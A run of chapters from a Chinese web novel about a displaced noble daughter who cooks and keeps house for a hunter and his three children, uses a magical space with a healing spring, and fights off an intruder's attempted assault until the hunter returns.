男人风尘仆仆,肩上背着行囊,眉眼深邃,正是赵长风。
他站在门口,看着整洁的院落,闻着空气中飘来的食物香气,一时有些恍惚。
这时,一个系着围裙的年轻女子从灶房走出,手里端着汤碗,看到他,微微一愣。
夕阳给她周身镀上一层暖光,她站在那里,就像这个家一直在等待他归家的女主人。
赵长风喉结动了动,沉声开口:“我回来了。”
站在院门口,一时间竟有些迈不开步子。
眼前的院子与他离家时截然不同。
晾衣绳上整齐飘着洗得发白的粗布衣裳,墙角堆放的柴火码得方正正,曾经漏风的西厢房窗纸也糊得严严实实。
最让他恍惚的是空气中弥漫的骨头汤香气——那是久违的、属于“家”的味道。
林若若端着汤碗的手顿了顿,很快恢复了自然:“回来了?正好,汤刚炖好。”
她的声音自然平和,没有刻意的热络,也没有从前的畏缩与怨怼,就像在陈述一件再平常不过的事。
夕阳的光从她侧脸滑过,照亮了她耳边一缕松下来的碎发。
赵长风这才找回自己的声音:“嗯。”他将马牵进院子栓好,卸下肩上的行囊,“家里……变样了。”
“这两天收拾了一下。”林若若转身往灶房走,“你先洗把脸,汤马上就好。m算了,我再加个菜。”
赵长风将行囊放在堂屋门口,目光扫过院落。
东边院子里的野草已经都被清理,院里灶房口的水缸盖得严实,旁边木盆里还泡着几件小衣服——看尺寸是小静的。
他常年冷硬的眉眼在暮色里微微松动。
“爹!”
“爹爹!”
两个孩子从屋里冲出来。
赵林跑在前面,赵峰紧跟其后,两人脸上是掩不住的惊喜。
小
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静也被哥哥牵着,摇摇晃晃地迈过门槛,嘴里含糊地喊着“爹、爹”。
赵长风看着三个孩子,愣了一下。
这是他的那三个孩子?
这么干净、齐整?
是王婶变勤快了,还是这林若若确实不一般?
看到跑过来的孩子们,赵长风的眉眼柔和了许多。那络腮胡子,林若若都觉得顺眼多了。
“嗯。赵林赵峰,饭后爹要查你们功课。”
“是。”赵林赵峰脸上的笑容顿时消失了许多。
小静也被哥哥牵着,不再上前。
林若若看出来了,几个孩子是害怕赵长风的。
“长高了。”他拍了拍赵林的肩,又摸摸赵峰的头,最后将小静抱起来。
孩子身上有淡淡的皂角香,小脸干净红润,虽然依然瘦弱,但却完全不是他离家时黑黄瘦小的模样。
“好了,去吧。爹要收拾东西。赵林,带着弟妹回房去。”
“是,爹爹。”
三个孩子立刻乖巧地回房去了。
赵长风看向灶房方向。
今日,林若若穿了一身浅青色的交颈襦裙,衣领、袖口、裙摆都绣着大朵的百合,看上去,温柔恬静淡雅。
头发松松地挽了个发髻,发间别着一支珍珠步摇,果然通身的贵气,不愧是侯府出来的闺阁小姐。
哪怕是个抱错的“假”千金。
他心里某个地方,好像轻轻塌陷了一块。
晚饭摆在堂屋的方桌上。
一盆奶白的棒骨萝卜汤,一个野菜炒鸡蛋,一碟咸菜,还蒸了一锅大米饭。
色香味俱全,也热气腾腾。
“吃吧。”林若若给每个人盛了汤,自己也坐下。
她给小静围上自制的小围兜,又夹了块煮得烂糊的萝卜放进孩子碗里,让她拿着小木勺自己吃。
赵长风沉默地喝着汤。
汤很鲜,骨髓的香气完全熬出来了,暖意从胃里扩散到四肢百骸。
野菜炒鸡蛋,新鲜野菜的清香完美融和了鸡蛋的香气,吃到嘴里,咸鲜适口,舒坦~
比王婶做的饭,好吃多了!
第13章 长风回家了
赵长风注意到孩子们吃饭的动作虽快,却规矩——赵林会帮妹妹擦嘴,赵峰吃完主动收拾自己的碗筷,小静也乖乖坐着,没有像从前那样哭闹抢食。
他虽然在家的时间短,也不知道如何与孩子们亲近,但这次三个孩子各个收拾得利利索索,头发整整齐齐,衣裳干干净净,他就知道林若若用心了。
此前,他也常见村里的孩子们,各个蓬头垢面,身上灰尘泥巴,见惯不怪,因此看到自家的三个孩子孩子也是那样,也就没管,况且王婶一直说,这么大的孩子总在地上玩,干净不了,他也就以为就应该是那样的。
可是,今日再见这几个孩子,各个干净齐整,而且,几个孩子的脸色也红润了不少。不再像之前脸色灰白,瘦骨嶙峋。
这些细微的变化,像春雨,悄无声息地浸润了这个曾经冰冷破碎的家。
“王婶这两天没来?”赵长风足足吃了三大碗饭,才放下碗。
“嗯。”林若若简单应了声,没有多说。
赵长风看着她柔美的侧脸,忽然意识到,这不是那个乡下长大的林美美,而是京城的大家闺秀林若若。
“你辛苦了。”他低沉的声音在暮色中响起。
林若若盛汤的手顿了顿,抬眼看他。发现他的胡子上沾着汤汁。
“哎~”林若若拿出自己随身的手帕,指了指自己的嘴角,“胡子上有汤汁。”
赵长风愣了一下,自然地接过她递过来的手帕,擦了擦嘴和胡子。
“多谢。”
“不用。”
男人脸上带着奔波的风霜,眼神却比刚到家时少了些锋利,多了些复杂的情绪。
“应该的。”她垂下眼,给小静喂汤汁泡米饭。
吃完饭,赵林赵峰主动收拾桌子,打扫灶房,林若若给小静擦完嘴,擦完手,让她自己去玩积木,就去刷锅烧热水去了。
赵长风一看,连两个孩子都忙着,自己也摸了摸鼻子,挑着水桶,去河边挑水去了。
看林若若的样子,应该是个爱干净的女人,一口缸可能不够用,明儿再去买一口回来。
三日前的事,他已经知道了。
虽然王婶平时时常往她自己家顺东西,他也知道,只是睁一只眼闭一只眼罢了。只要她把孩子照顾好。
毕竟,照顾三个孩子,也还是蛮辛苦的。但他却没想到,王婶居然如此过分!还在村里败坏林若若的名声!
这是他忍不了的!
有些事,该说清楚了。
去挑水的时候,赵长风顺路去了隔壁王婶家一趟。告诉她自明日起,她就不用到自己家做工照顾孩子了。本月的银子也不再收回。
王婶当时就急眼了!
离开赵家,她上拿找这种好事去?!
除了日日能从赵家拿米面肉蛋之外,每月还有一两银子的月银!这种好事,上哪里去找?!
“长风,长风,你听我说!我给你看孩子已经两年多了,这两年我一心一意照顾三个孩子,一日三餐给他们做饭,你说,我有什么什么地方对不起你?!所以定是你那个还没过门的娘子撺掇的!我跟你说,长风,你一看她那长相就知道她就是个狐狸精!没安好心眼子!”
赵长风一听她说这话,猛地转过头来,脸色不悦,
“王婶,林若若是我的妻子,除了我,别人无权评论她!也请王婶慎言!不用你是我做的决定,跟林若若无关!”
王婆子一看赵长风翻脸了,立刻缓和了语气,陪着笑脸,
“是是是,长风说的是,她一个丫头片子,妇道人家,怎么能做你的主!那老婆子我明天就去把我的东西收拾回来,你看行不?”
赵长风看了她一眼,点点头,“可。”
说完,就挑着水桶去河边挑水去了。
挑满水缸,赵长风又在院子里“吭哧吭哧”地劈柴。院子角上,很快就堆起来一小座柴山。
林若若特意从空间拿出几条大小浴巾,每人两条,大的擦澡,小的擦头发。
赵长风赵林赵峰用一个浴桶,林若若和小静用一个浴桶。
林若若带着小静先洗,赵长风带着两个男孩子洗。
洗完,孩子们都去睡觉了。
这个季节,也不能天天洗,那就三
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五天洗一次吧。不过天天洗脚是要的。
林若若在灶房,想做点卤肉,明天早上给两个孩子做肉夹馍吃。
说做也简单。
家里除了一口大锅,还有两个用木炭的小炉灶。
找出刷干净的小锅,把上次买的五花肉切成块,热水焯一下,之后再加水,放卤肉料,酱油,十三香,糖调味,再放肉,然后把锅放到炉灶上。
趁这个时间,在旁边的炉灶上煮了六个鸡蛋,煮熟过凉水,剥好也放进卤肉汤里。
炉灶里放足够多的炭,把面发上,就可以回房睡觉去了。
夜里,赵长风洗漱完,站在东厢房门口——那原本是自己的卧房,如今住进了一个京城来的少女,自己的娘子,赵长风有些踌躇。
房门虚掩着,透出昏黄的油灯光。从门缝看了一眼,到处一片红色~
好像,自己还缺这姑娘一个婚礼呢!
他敲了敲门,林若若回了一句:“进来吧。”
他才推门进去。
房间收拾得整洁干净,床上都是红色的被褥,床帐也是红色的,绣着红色的鸳鸯。
林若若正坐在床边缝补一件他的旧褂子。
“你的睡衣。”她指了指床边搭着的一套青色的中衣。
没有刻意的回避,也没有紧张的讨好。她仿佛只是在完成一件日常的事。
赵长风换衣服时,林若若便放下针线,去旁边的卧房查看孩子们是否睡熟。
等她回来,赵长风已经换上了干净的中衣,坐在桌边擦拭随身的短刀。
两人之间隔着油灯昏黄的光晕,一时无话。
“家里缺什么,明天我去集上买。”赵长风先开口。
“暂时不缺,前天,我去过镇上了。”林若若顿了顿,“对了还真有个事,……我想在屋后搭个鸡窝,养几只鸡,孩子们能吃上鸡蛋。”
“好。”赵长风应得干脆,“我明天把西墙修整一下,顺便把鸡窝搭起来。”
对话平淡,却有种奇异的协调感。仿佛他们已经这样相处了很久。
夜深了,林若若吹熄油灯,在床里侧躺下。
第14章 门倒了!!
赵长风睡在外侧,两人之间隔着一个人的距离。
刚刚睡上床的时候,赵长风愣了一下,这床也太软了!睡得好不习惯!
窗外月光如水,透过新糊的窗纸洒进来。
赵长风盯着房梁,忽然低声说:“赵林赵峰……谢谢你。”
旁边传来均匀的呼吸声,林若若似乎已经睡着了。
但赵长风知道,她听见了。
他闭上眼,肩头常年绷紧的肌肉第一次在自家床上缓缓放松。
院外传来蛐蛐的叫声,灶房里的炉火已熄灭,只有余温在黑暗中隐约弥漫。
这个家,似乎正在以一种他从未预料到的方式,重新活过来。
而这一切的变化,都源于身边这个陌生的女人。
赵长风在黑暗中无声地呼出一口气。不知何时,他已经沉睡过去了……
天还不亮,赵长风就被一阵敲门声惊醒。
他猛地坐起来,有些懵,满目红色也让把他惊了一下。
为了深山的一群野猪,自己和傻根已经好些日子没睡过一个安稳觉了。
昨日,他们已经把野猪的行动路线彻底摸清,陷阱也已经挖好,各种武器都已经准备好,赵长风让傻根回家歇歇,这孩子说啥也不走,赵长风就自己下下山了。
傻根是个孤儿。今年十七岁,身材高大,孔武有力,还有一身的好功夫,就是脑子不太灵光,而且认死理!满村里他只听赵长风的话。
赵长风让他往东,他绝不往西的。
因为在山上打猎的时候,是赵长风把他从黑熊的爪子下救了出来。
刚刚的敲门声,一听,就是傻根来了。因为那力道,不是一般人。
赵长风发愣的功夫,就听到外面“咣啷”一声!
“谁啊?!”院里,同时传来林若若娇软的惊讶的声音。
赵长风披上衣服,冲出了门,“傻根!别敲了!”
院子门口,高壮的傻根看着倒下的木门,又看了看自己碗大的拳头,傻眼了
门外晨雾朦胧,天边才刚泛起鱼肚白。
傻根站在倒塌的木门前,手足无措地看着自己的拳头,又抬头看向院子里的赵长风和闻声走出来的林若若。
“风、风哥……”傻根结结巴巴地说,“俺不是故意的……这门、门它自己倒了……”
赵长风看着那扇彻底与门框分离、可怜巴巴躺在地上的木门,又好气又好笑。
这扇门本就年久失修,经不起傻根那蛮牛般的力气。
林若若已经从最初的惊吓中回过神来。
她借着晨光打量着傻根——这是个比赵长风还要高出半头的壮实青年,浓眉大眼,面相憨厚,此刻正窘迫地挠着头,像个做错事的大孩子。
“先进来吧。”
林若若轻声说,语气平和,没有半分责怪,“傻根是吧?吃早饭了么?”
傻根愣了愣,显然没想到这位素未谋面的嫂子会是这般反应。
他小心翼翼地看了赵长风一眼,跨过倒在地上的门板,瓮声瓮气地回答:“还、还没……”
赵长风已经回屋快速套上外衣,走到傻根身边,拍了拍他的肩膀:“野猪有动静了?”
“嗯!”
傻根顿时来了精神,眼睛亮起来,“俺守着的时候听见叫声了,估计掉进咱挖的坑里了!风哥,咱得赶紧去!”
林若若闻言,立刻转身往灶房走:“你们先去洗漱,我热些吃的,很快。”
赵长风本想说不必麻烦,但看着林若若已利落地生火、从篮子里取出几个馍馍的背影,话到嘴边又咽了回去。
他示意傻根去井边打水洗脸,自己则走到灶房门口。
晨光透过灶房的窗子,洒在林若若忙碌的身影上。
她正麻利地将昨晚卤好的肉捞出,剁碎,又将卤蛋切开,夹进切开的馍馍里。肉香混合着卤料的醇厚气息,瞬间弥漫开来。
“这是……”赵长风有些惊讶。
“肉夹馍。”林若若头也不抬,“昨晚上准备的,本想今早给孩子们做,你们先吃。”
说话间,她已经做好了四个鼓囊囊的肉夹馍,用油纸包好两个递给赵长风,又包好另外两个,走到院子里递给刚洗完脸的傻根。
“路上吃
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。”她把油纸包塞进傻根手里,又看向赵长风,“注意安全。”
傻根捧着热乎乎的肉夹馍,深深吸了一口香气,咧嘴笑了:“谢谢嫂子!”
赵长风接过油纸包,指尖触到温热的食物,心头也似被这温度熨过。他深深看了林若若一眼:“门……”
“回头再说。”林若若摇摇头,“正事要紧。”
赵长风不再多言,与傻根匆匆出了门。
走过那扇倒在地上的门时,他脚步顿了顿,回头看去——林若若已经蹲下身,正试着将门板扶起来。晨光勾勒着她单薄却挺直的背脊。
“风哥?”傻根在前头唤他。
“来了。”
赵长风应了一声,大步跟上去,心里却已盘算着今日回来时,得去木匠那里挑扇结实的新门,再买些别的——
或许,该给林若若添置面梳妆的镜子,或者一方新的手帕
灶房里,林若若将剩下的卤肉重新放回小锅温着,又将发好的面做成馍坯,放入蒸笼。
忙完这些,天色已经大亮。
东厢房里传来窸窣的动静,孩子们醒了。
赵林第一个跑出来,看见倒地的院门,吓了一跳:“呀!门怎么倒了?”
林若若擦了擦手走出来,平静地说:“你爹的朋友早上来找他,不小心推倒了。没事,回头修好就是。”
她不愿让孩子觉得是家里遭了贼或出了什么不好的事,“去叫弟弟妹妹起床洗漱,早饭马上好。”
赵林懂事地点头,跑去叫赵峰和小静。
早饭桌上,三个孩子捧着热腾腾的肉夹馍,吃得满嘴油光。
小静还不太会拿,林若若便一小块一小块撕给她。
“真好吃!”赵峰眼睛亮晶晶的。
“嗯,以后常做。”林若若微笑着,又给每个孩子盛了一碗小米粥。
今天他们俩的午饭也是肉夹馍,每人两个。另外,又多做了两个,中午给两位夫子尝一尝。
赵林上次回来说,他们带的饭,现在就连两个夫子,中午也要来看一眼。
吃着早饭,她心里也在盘算。
第15章 你是谁?
门肯定要修,但赵长风去山上抓野猪了,不知何时能回来。
自己和村里人又不熟,隔壁王婶虽然熟,但似乎已经把她得罪了~
看着那扇倒地的门,林若若想了想,决定还是去找村里的木匠赵阿伯。
毕竟,专业的人,做专业的事。
虽然上次赵长风给的五两银子已经花光,但她自己有嫁妆,还有私房钱。
能用钱解决的事情,就不是事情。
领着小静,林若若出了门,上次的事后,她更不敢把孩子自己留在家里了。
可是现在又没有大门,怎么办呢?
虽然隔壁就是王婶家,但现在若若防的也是他家。
没有办法,只能快去快回了。
林若若领着小静刚要出门,就见罗阿婆家的大孙子狗蛋和鸭蛋来了!
两人各自提了半篮子的青菜,“婶婶,我奶让给你家送点青菜来。”
林若若赶紧迎上去,笑得眉眼弯弯,“那太谢谢你们了!回去帮我给你奶奶说声谢谢!”
“知道啦,婶婶!你快把菜拿出来,我们把篮子带回去。”老大狗蛋不好意思地抓了抓头发,眼睛偷偷撇过林若若娇美的容颜~
婶婶太好看了!是他们见过的最好看的人了!也是他们赵家村最好看的人!
狗蛋和鸭蛋对视一眼,各自笑得贼兮兮的。
林若若赶紧接过篮子,去了灶房。
把青菜拿出来,放好,又把早上剩下的两个肉夹馍用大碗装好,上面再扣上一个大碗,放到了老大的篮子里。
“狗蛋,这是婶婶做的早饭,带回去给爷爷奶奶尝尝。”林若若知道,邻里乡亲之间的情谊,就是在这日常的小事之中建立起来的。
“谢谢婶婶~”两个孩子闻着香味,咽了咽口水。
“对了,你们两个能不能帮婶婶个忙,去请木匠赵爷爷来我家一趟。我家的门坏了!我带着小静不敢出门。”
两人看着歪七咧八倒在地上的木门,愉快地点点头,“好的,婶婶,我们这就去帮你喊赵爷爷。”
两个孩子挎着篮子,小心翼翼地走远了,林若若也松了口气。
只可惜,狗蛋一会儿回来说,赵爷爷去隔壁村干活去了,不在家。
而且,林若若没有发现,在暗处好像有一双眼睛,一直在偷偷地盯着她……
赵伯不在家,赵长风也不在家,这个门,今儿看来是修不好了。
林若若叹了口气,那今儿就别出门了吧。
中午,林若若想给小静做疙瘩汤喝。
让小静在院子里玩,林若若去了灶房。
灶房里,林若若将一小碗面粉倒入陶盆中,一手执筷,一手拿着水碗,往面粉里慢慢倒。水珠如雾般洒在面粉上,她手腕轻转,筷子飞快地搅动起来。
面粉遇水迅速凝结,在她的巧手下变成大小均匀的絮状疙瘩。
小静跑进来,趴在灶台边的小凳上,睁着圆溜溜的眼睛看着:“这是什么呀?”
“这是面疙瘩,一会儿煮好了,就是疙瘩汤,软软弹弹的,可香了。”林若若笑着回答,手里的动作不停。
锅里早已烧上清水,此时正咕嘟咕嘟冒着细密的气泡。
林若若将搅好的面疙瘩均匀地撒入锅中,白色的面粒在滚水中上下翻腾。
她从篮子里取出一颗鸡蛋,在锅沿轻轻一磕,单手将蛋液打进汤中,金黄的蛋花瞬间在汤面绽放,颜色好看极了!
接着,她麻利地切了几片嫩绿的青菜叶撒入,又舀了一小勺猪油,最后撒上细细的盐和切碎的葱花。
瞬间,一股混合着面香、蛋香和葱油香的温暖气息弥漫了整个灶房。
“好了,咱们开饭。”林若若盛出一小碗,轻轻吹了吹,递给小静。
小静捧着碗,用小勺舀起一勺,鼓起腮帮子吹了吹,小心翼翼送进嘴里。
面疙瘩软糯却不失嚼劲,蛋花滑嫩,汤汁鲜美,小丫头眼睛立刻弯成了月牙:“好吃!”
两人吃完简单的午饭,林若若收拾了碗筷,便抱着小静回房午睡。
哄睡了孩子,林若若轻手轻脚回到自己房中。
她从箱底翻出一块深蓝色
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的粗布和一块碎花布,这是前几日赶集时买的,本打算给赵林和赵峰再做一身新衣裳,眼下倒可以先用来做个书包。
毕竟,俩孩子总背着背篓上学,也不大好。
她坐在窗下,穿针引线。
阳光透过窗纸,柔和地照在她专注的侧脸上。
针脚细密而匀称,她打算在书包正面绣上简单的图案——赵林喜欢竹子,他说过学堂夫子院里的竹子最挺拔。赵峰喜欢大刀,他说大刀最威风。
正缝到一半,院里突然传来极轻的“咯吱”声,像是有人踩到了碎木屑。
林若若手中的针一顿,屏息细听。
又是几声轻响,这次更近了。
她的心猛地提了起来。
赵长风不在,门又坏了,难道是……
念头未落,东厢房方向忽然传来小静含糊的梦呓声,接着就安静了下来!
“小静!”林若若猛地起身,针线篮子被打翻在地。
几乎是同时,她房间的门帘被粗暴地掀开!
一个身材壮硕、面色黝黑的汉子闯了进来,满身酒气,一双浑浊的眼睛死死盯着林若若,嘴角咧开一个淫邪的笑:“小娘子,一个人在家呢?”
林若若后退一步,脊背抵上冰冷的土墙,手在身后摸索着:“你、你是谁?怎么进来的?”
“从你那破门进来的呗。”
汉子嘿嘿笑着,一步步逼近,“早就盯上你了,这么个娇滴滴的美貌小娘子,守着一个猎户过日子,多可惜......”
他猛地扑了上来!
林若若尖叫一声,侧身躲过,抓起手边的小板凳砸过去。
汉子轻松格开,一把抓住她的手腕,力道大得几乎要捏碎骨头。
“放开我!”林若若拼命挣扎,另一只手胡乱抓挠。
林若若此时无比后悔,为何在现代的时候,没去练个跆拳道或者防身术之类的!
“老实点!”汉子喘着粗气,另一只手去扯她的衣襟。
“哗啦”一声~
布料撕裂的声音在这寂静的午后格外刺耳……
第16章 逃走了!
就在此时,东厢房传来小静惊恐的哭声,接着却传来一个女人轻轻哄孩子的声音,“这边没事你先办你的事!”女人压低声音,却莫名有一丝丝的熟悉。
“好来!”制住林若若的汉子色眯眯地应了一声,口水几乎溅到她脸上。
那张黑黄的、粗糙的脸,还有那一嘴黑黄的、参差的牙,熏的林若若直接要吐了。
绝望如同冰冷的潮水淹没了林若若。她眼角瞥见地上散落的针线篮,忽然想起什么——
她停止挣扎,放软了声音:“你、你先放开我,我喘不过气......”
汉子一愣,手上力道稍松。
就是现在!
林若若猛地抬起膝盖,狠狠顶向对方胯下!
“嗷——”汉子痛嚎一声,弯腰捂住伤处。
林若若趁机挣脱,扑向针线篮,抓起最长最粗的那根缝衣针,转身就朝汉子的眼睛扎去!
汉子偏头躲过,针尖划过他的脸颊,带出一道血痕。他彻底被激怒了,像头发狂的野兽般再次扑来。
这时,院外突然传来急促的脚步声,伴随着一声怒吼:“若若!”
是赵长风的声音!
汉子脸色大变,转身想跑,却被林若若死死抱住一条腿:“长风!东厢房还有一个!小静——”
话音未落,赵长风已经冲进房间,见此情景目眦欲裂,一拳狠狠砸在汉子面门上。那壮汉闷哼一声,软软倒地。
“小静!”赵长风转身就往东厢房冲。
房里已经没有人了,估计是赵长风冲过去救林若若的时候,趁乱逃走了!
赵长风没有追赶,第一时间抱起哭得撕心裂肺的小静,拍着她的背安抚:“不怕不怕,爹爹回来了......”
小静边哭边断断续续地说话,“娘!……去救……娘!有坏人……”
赵长风的眼眶顿时红了!
他抱紧小静小小的身子,轻声安慰:“没事了,你娘也没事了!莫怕!”
此时,林若若踉跄着跑到东厢房门口,看到小静安然无恙,腿一软,跌坐在地。
她的衣衫被扯破,头发散乱,脸上有擦伤,手腕上一圈青紫,但眼睛死死盯着小静,直到确认孩子没事,才颤抖着呼出一口气。
“娘!”小静一看到她,就大喊一声,开始大哭。
“娘?你喊我娘?”林若若看着小小的孩子,朝她伸出的胳膊,眼泪如珍珠一般奔涌而出。
“娘!”
赵长风赶紧将小静抱到她怀里,母女俩紧紧相拥。
林若若也没想到,她来到这个家才几天,小静就已经接受了她,喊她娘了~
“好孩子,你永远都是娘的宝贝!”
“我回来时在村口遇到狗蛋,他说赵伯不在家,门没修。”
赵长风的声音低沉压抑,眼中翻涌着后怕与暴怒,“我买了新门板回来,到了门口,就听见你的声音......”
说到这里,他仍然觉得后怕极了!
走上前,他把小静放到地上,脱下自己的外衫,盖在林若若的肩头,把她拦腰抱起,往他们的房间而去。
林若若此刻全身都疼,可是被赵长风抱着,感受着他急促的心跳,还有他有力的胳膊,她却感到无比的安心。
回到房里,不出赵长风的意料,那个贼人已经逃了。
“那个人逃走了!”林若若惊呆了。
“无妨,我会逮住他的!”赵长风咬牙道,眼中杀意凛然。
他没有告诉林若若的是,他是故意把他放走的。
这个世道对于女子过于严苛,若若还没有进门,若是今日这事传出去,不管那贼人有没有得手,对若若的名声都是巨大的伤害,村里这些长嘴婆子,会在后面的许多年,把这事当作谈资。
他不允许!
他故意放走他们,但他会让他们付出代价的!
“长风,我想洗澡。”
“好,我去给你烧水。你先在床上躺一会儿。小静,陪着你娘,莫要吵闹。”
“知道了,爹爹。”
赵长风出去烧水了,林若若低头看着女儿哭红的小脸,又看看自己衣衫不整的模样,心中一阵后怕,却也涌起一股狠劲——在这世道,软弱只会被人欺辱。
今日若非她拼死反抗,若非赵长风及时赶回......
赵长风去灶房把水烧上,转
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身先去安新门去了。
门板厚实,门闩坚固,他三两下便安装妥当。
“咣当”一声,门闩落下,将这个家重新护在其中。
林若若听着那声响,紧绷的神经终于放松了一丝。
她抱着小静,看着赵长风忙碌的背影,眼泪终于无声地滑落——不是委屈,而是劫后余生的复杂情绪,混杂着对这个男人及时赶回的感激,以及对未来的深深忧虑。
这世道,对孤身在家的女人和孩子,终究是太过凶险了。
热水顺着澡盆边缘漫出细雾,漫过林若若青紫的手腕。
她指尖抚过脸颊的擦伤,泛着细密的疼痛,但她就是觉得脏。
在浴桶里泡了一会儿,林若若心念一动,裹着大浴巾进了空间。
她隐隐有一个猜想,想试验一下。
空间的院子里有一口井,姥姥原本是装了一个水泵,上面接了一个自来水水龙头。
林若若用杯子接了一杯喝了,水质清列甘醇,透着淡淡的清甜。喝下去之后,全身上下,从里到外,那叫一个舒坦。
而且,身上有伤的地方,正以肉眼可见的速度,慢慢痊愈,而且不疼了!
果然!
果然是灵泉!
林若若不敢再喝了!伤口好得过快,容易引起赵长风的怀疑。
把洗发水,沐浴露装进家里的木盒子里面,林若若出了空间,回到了赵家洗澡间的浴桶里。
把头发洗好,用毛巾包住,她爬出了浴桶,裹好大浴巾,要出去。
结果青石板的地上湿滑,林若若发出一声闷哼,一下子滑倒在地!
几乎是瞬间,门就开了!
“怎么了?!”
赵长风一下子冲了进来,下一秒就看到了倒在地上的林若若!
那光洁的肩膀,伴着青紫的伤痕,还有两条细长白皙的腿,瞬间闯进他的眼帘!
他的脸顿时红的滴血一般!
“你莫动,我把你抱回去。”赵长风拿起旁边的自己的大浴巾,裹住林若若,别开脸,把抱了起来,出了洗澡间。
此时,正是春日的午后,阳光暖暖地照着,让人的心里也泛起一阵阵的暖意~
第17章 眉眼官司~
赵长风把林若若抱回屋子,便头也不回地离开了。
因为有满脸的络腮胡子,脸上根本看不出他脸上的变化,但林若若还是在他转身的瞬间,看到了他红得滴血的耳朵。
“傍晚,我要和傻根去县城一趟,今天晚上应该回不来了。我要赶明天清早县城的早市。晚上你锁好门,院子门口,还有院墙下面,我都设了陷阱。你莫要担心。”
“好,知道了。你路上注意安全。”
林若若轻声回道。
“等我回来,我们就回你娘家,把咱们的事办了。”
林若若含笑点了点头。
目前看来,赵长风这个男人还不错,至少比承恩侯府的魏天赐要强得多。
魏天赐家境富贵,又是侯府世子,人又长得风度翩翩,温文尔雅,因此是很多京中小姐的梦中情郎。
当初和承恩侯府的林若若定下婚事,除了两家是世交之外,林若若倾国倾城的美貌也魏家同意的重要原因。
但这人,的确是个纨绔~
如今,林若若换成何美美,估计有的闹吧。
林若若抹上身体乳,伤处抹上药,躺在床上,头有点晕,不知道什么时候就睡过去了。
醒来的时候,天都擦黑了。
林若若先进空间,喝了一碗灵泉水,她怕自己脑袋被摔坏了。
空间里,居然多了一块电子屏幕!
屏幕上,有一段话显现出来。
“你已取得赵小静的全部信任,时空门打开,请收取您的快递。同时,可继续下单十种商品,等待下一次时空门的开启。”
接着,在别墅的围墙上出现了一扇门,门开了,她穿越之前买的快递都出现在门口,大大小小也有十个了。
林若若赶紧把它们都搬进院子里,然后时空门就消失了。
她正想把快递拆开,院子里就有低低的说话声传来。
出了空间,林若若看到灶房里有声音,烟囱里还有烟冒出来。
应该是赵林赵峰回来了。
来到灶房门口,林若若轻声咳嗽了一下,她怕自己冷不丁出现,再把几个孩子吓着。
“娘!娘亲!起床啦?”看到若若的瞬间,小静就像一只归巢的燕儿一般,张着双臂扑进林若若的怀里。
林若若弯腰接住小静,小姑娘香香软软的身子带着灶火的暖意,紧紧贴在她怀里。
她抬眼望去,灶台前果真有两个男孩,正是赵林和赵峰。
此刻赵林赵峰正坐在小凳子上,齐刷刷地看着泥炉上的一个罐子。
听到林若若的声音,两人齐刷刷地看过来,眼睛亮晶晶的,好奇又带着点怯意。
“林姨,”赵林先开了口,声音还有些生疏,“饭快好了。爹临走前说了,让您多歇着。”他显然还不太习惯称呼她,脸上微微泛红。
林若若心头一暖,抱着小静走过去。锅里蒸着米饭,旁边小陶罐里炖着什么肉,热气腾腾的。看得出两个孩子手脚麻利,灶台收拾得也算干净。
“这罐里炖的什么?”林若若眉眼弯弯。
“是爹爹打回来的野兔,院子里的木笼里还有五只,爹爹说等养大了炖着吃。”赵峰这个小话唠又忍不住了。
“辛苦你们了。”林若若柔声道,放下小静,走到水缸边舀水洗手,“我来炒个菜吧。”
“不用不用!”赵峰急忙摆手,声音清脆,“爹说过,看着这个罐子滚了,再煮半个时辰就好了。”
他说完,又偷偷瞄了林若若一眼,小声补充:“你……你还好吗?小静说下午有坏人……”
赵林不爱说话,却也看了过来。
林若若心中一酸,知道孩子们虽然没说,心里必定也是害怕的。
她蹲下身,与赵峰平视,认真道:“没事了,坏人被你爹爹打跑了。以后咱们家的门修得牢牢的,院墙下还有陷阱,再也不怕了。”
赵峰眼睛亮了亮,用力点点头。
赵林也转过头,看了林若若一眼,没有说话。
“你们已经很棒了。”林若若微笑,起身打开橱柜,拿出罗阿婆家送来的青菜。
这古代的青菜有点像小
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一些的油麦菜,绝对纯天然无公害!那就蒜蓉油麦菜吧!
不对,这时代,蒜也没有。
林若若想了想,假装从橱柜拿了一串大蒜出来。
“娘亲,这是什么?”小静咬着手指头,跑过来。
“这是我从京城带来的,说是叫大蒜,炒菜可好吃了!今天娘亲就试试,好不好呀?”林若若揉了揉小静的发顶,宠溺地笑着。
“好!”小静腼腆地笑着~
林若若去剥蒜,赵林很有眼力劲地去洗油麦菜了,而赵峰则被自己哥哥一个眼神支使,老老实实烧火去了~
他们的眉眼官司,成功逗笑了林若若~
起锅烧油,今日放的是猪油,油化开后,她先下了一半蒜末,随着“滋啦”一声,蒜香瞬间迸发出来,顿时充满了厨房。
赵峰眼睛瞬间就亮了起来,忍不住抽了抽鼻子:“好香!”
小静也在旁边,拍着小手,喊好香!
“这才刚开始呢。”
林若若笑着看了看三个孩子,然后将沥干水的油麦菜倒入锅中,碧绿的菜叶与金黄的蒜末相遇,又是一阵悦耳的声响。
她快速翻炒,手腕轻转,锅铲翻飞间,菜叶渐渐变得油润明亮。
“赵林,到橱柜里拿米酒来。”
她看了看面无表情的赵林,还是让他干点活,只要,林若若想要改变她在孩子们心中的形象,以及改善他们之间的关系~
赵林虽然、没说话,脚步却没停,别别扭扭把米酒拿了过来。
酒液入锅,蒸腾起一阵带着甜香的雾气。
之后,林若若迅速撒上盐,又将剩余的蒜末均匀撒在菜上,这才起锅装盘。
一盘蒜蓉油麦菜摆在简陋的木桌上:菜叶碧莹莹的,蒜末金灿灿的,油光润泽却不腻,热气腾腾中混合着蒜香、酒香和青菜特有的清甜。
“开饭啦,孩子们。”林若若一边解围裙,一边说道!
于是,孩子们纷纷跑去摆碗筷了~
看着他们欢快的样子,林若若甚至觉得自己的伤都不疼了。
第18章 深夜救命
林若若夹起一筷子,吹了吹送入口中。
初时是浓郁的蒜香,紧接着是油麦菜特有的爽脆口感,清甜中带着一丝恰到好处的苦味,米酒的微醺与猪油的润泽在舌尖融合,简简单单,却美味得让人心头一颤。
“林姨...这...这也太好吃了……”赵峰眼睛亮亮的!
林若若自己也尝了一口,满意地点点头。
饭菜上桌,虽不算丰盛,却热气腾腾。
林若若给每个孩子碗里都夹了兔肉和油麦菜,柔声道:“快吃吧。”
“娘亲也吃。”赵小静大眼睛扑闪扑闪地看着林若若,眼中都是孺慕之情。
赵林抬眼看了看自己这个傻妹妹,心下叹了口气,人家才来几天,就被收买了?!
想到这里,他也摇了摇头,开始吃饭了。
烛光摇曳,映着一大三小的身影。
